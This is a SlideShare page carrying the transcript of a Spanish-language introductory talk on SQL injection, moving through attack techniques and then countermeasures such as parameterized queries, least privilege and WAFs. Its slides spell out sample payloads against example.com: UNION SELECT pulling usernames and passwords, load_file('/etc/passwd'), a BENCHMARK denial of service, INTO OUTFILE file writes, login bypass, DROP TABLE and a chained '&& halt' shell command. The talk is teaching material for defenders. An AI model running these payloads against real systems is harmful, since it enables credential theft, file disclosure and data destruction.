Inyecciones sql para todos
Upcoming SlideShare
Loading in...5
×
 

Inyecciones sql para todos

on

  • 1,827 views

 

Statistics

Views

Total Views
1,827
Views on SlideShare
1,727
Embed Views
100

Actions

Likes
0
Downloads
55
Comments
0

5 Embeds 100

http://alguienenlafisi.blogspot.com 92
http://alguienenlafisi.blogspot.mx 4
http://blog.alguien.at 2
http://alguienenlafisi.blogspot.co.uk 1
http://alguienenlafisi.blogspot.com.ar 1

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Inyecciones sql para todos Inyecciones sql para todos Presentation Transcript

  • Cesar NeiraEstudiante de Ing. Sistemas
  • Aula H4X0R Cesar Neira Inyecciones SQL para todosIntroducción, explotación y contramedidas.
  • OWASP Top 10 2004
  • OWASP Top 10 2004
  • OWASP Top 10 2007
  • OWASP Top 10 2007
  • OWASP Top 10 2010
  • OWASP Top 10 2010
  • MITRE – Top 25
  • MITRE – Top 25
  • ¿Qué está pasando?
  • ¿Qué es unaInyección SQL?
  • Fallo de inyecciónUn interprete ejecutauna instrucción enviadapor la aplicación.La aplicación forma lainstrucción con entradasdel usuario.El usuario envíaentradas especialmentediseñadas para alterar elsignificado de lainstrucción
  • Por ejemplo: PROGRAMA : system(“ls $dir”); ENTRADA : $dir INTERPRETE : /bin/bash $dir = “images” Instrucción: $ ls images Hacer un listado del directorio “images” $dir = “images && halt” Instrucción: $ ls images && halt Hacer un listado del directorio “images” y luego apagar el sistema.
  • Lenguaje SQLStructured Query Language(lenguaje de consultaestructurado)Permite realizar diversasoperaciones sobre bases dedatos relacionales.Es interpretado por el DBMS.Existen dialectos específicospara cada DBMS.
  • Ejemplos de SQLSELECT email FROM users; webmaster@example.com invitado@example.com pepito@hotmail.comSELECT username,password FROM users WHEREtype=1; admin 123456
  • SQLi = Injection + SQL INTERPRETE : DBMS Error de validación de LENGUAJE   : SQL entradas. Permite alterar las consultas SQL. No es un error del DBMS. No es exclusivo de aplicaciones web.
  • ¿Cómo?
  • Caja Negrahttp://example.com/index.php?page=news&id=23page=news id=23 index.php
  • Arquitectura SERVIDOR HTTP INTERNETCLIENTE SQL BASE DE DATOS
  • User: pepito http://example.com/news.php?id=23 /* news.php */ ... $id = $_GET[id]; $query = "SELECT * FROM news WHERE id=$id"; ... SELECT * FROM news WHERE id=23
  • User: Z3r0C001-H@... http://example.com/news.php?id=23 OR 1=1 /* news.php */ ... $id = $_GET[id]; $query = "SELECT * FROM news WHERE id=$id"; ... SELECT * FROM news WHERE id=23 OR 1=1
  • ¿Y qué?
  • Extracción de Datos
  • UNION SELECT http://example.com/news.php?id=23 AND 1=0 UNION SELECT username,password FROM users SELECT * FROM news WHERE id=23 AND 1=0 UNION SELECT username,password FROM users
  • DEMO 1
  • Extracción de ficheros
  • LOAD_FILE() http://example.com/news.php?id=23 AND 1=0 UNION SELECT 1,load_file(/etc/passwd) FROM users SELECT * FROM news WHERE id=23 AND 1=0 UNION SELECT 1,load_file(/etc/passwd) FROM users
  • DEMO 2
  • Ataques DoS
  • #RefRef
  • BENCHMARK() http://example.com/news.php?id=23 AND 0 = BENCHMARK(999999999999,SHA(RAND())) SELECT * FROM news WHERE id=23 AND 0 = BENCHMARK(999999999999,SHA(RAND()))
  • DEMO 3
  • File Upload
  • OUTFILE / DUMPFILE http://example.com/news.php?id=23 AND 0 = 1 UNION SELECT ,Hello World! INTO OUTFILE /tmp/hello.txt SELECT * FROM news WHERE id=23 AND 0 = 1 UNION SELECT ,Hello World! INTO OUTFILE /tmp/hello.txt
  • DEMO 4
  • xp_cmdshell
  • MSF - webpayloads
  • DEMO 5
  • Login Bypass
  • Login Bypass /* login.php */ ... $user = $_POST[username]; $pass = $_POST[password]; $query = "SELECT * FROM users WHERE username = $user AND password = $pass"; ... SELECT * FROM users WHERE username = admin AND password = OR =
  • Por ejemplo...
  • Ataque Boby Tables
  • Ataque Boby Tables /* login.php */ ... $user = $_POST[username]; $pass = $_POST[password]; $query = "SELECT * FROM users WHERE username = $user AND password = $pass"; ... SELECT * FROM users WHERE username = ; DROP TABLE users;-- AND password =
  • Y hay más...
  • Oh, y ahora ¿Quiénpodrá defendernos?
  • Validación de entradas - Expresiones regulares - Validación de tipo - Escapar caracteres especiales - Librerías de seguridad ESAPI No solo JavaScript
  • ConsultasParametrizadasDefinir primero la consulta yluego pasarle los parámetros.- Prepared Statements.- Storage Procedures.
  • Permisos de Acceso- Las aplicaciones nonecesitan la cuenta deadministrador.- GRANT ALL PRIV... ¿Esnecesario?- Aplicaciones diferentes,usuarios diferentes
  • IDS, IPS, WAF, etc...- Sistemas de detección yprevención de intrusos.(Snort)- Web Application Firewall.(mod_security)- Reescritura de solicitudesHTTP. (mod_rewrite)- Basados en patrones.- No 100% confiables.
  • Gracias por participar muy pronto estamos en provincias para más información ingresa a nuestra webEn el 2012 mucho más de nosotros… http://alguienenlafisi.blogspot.com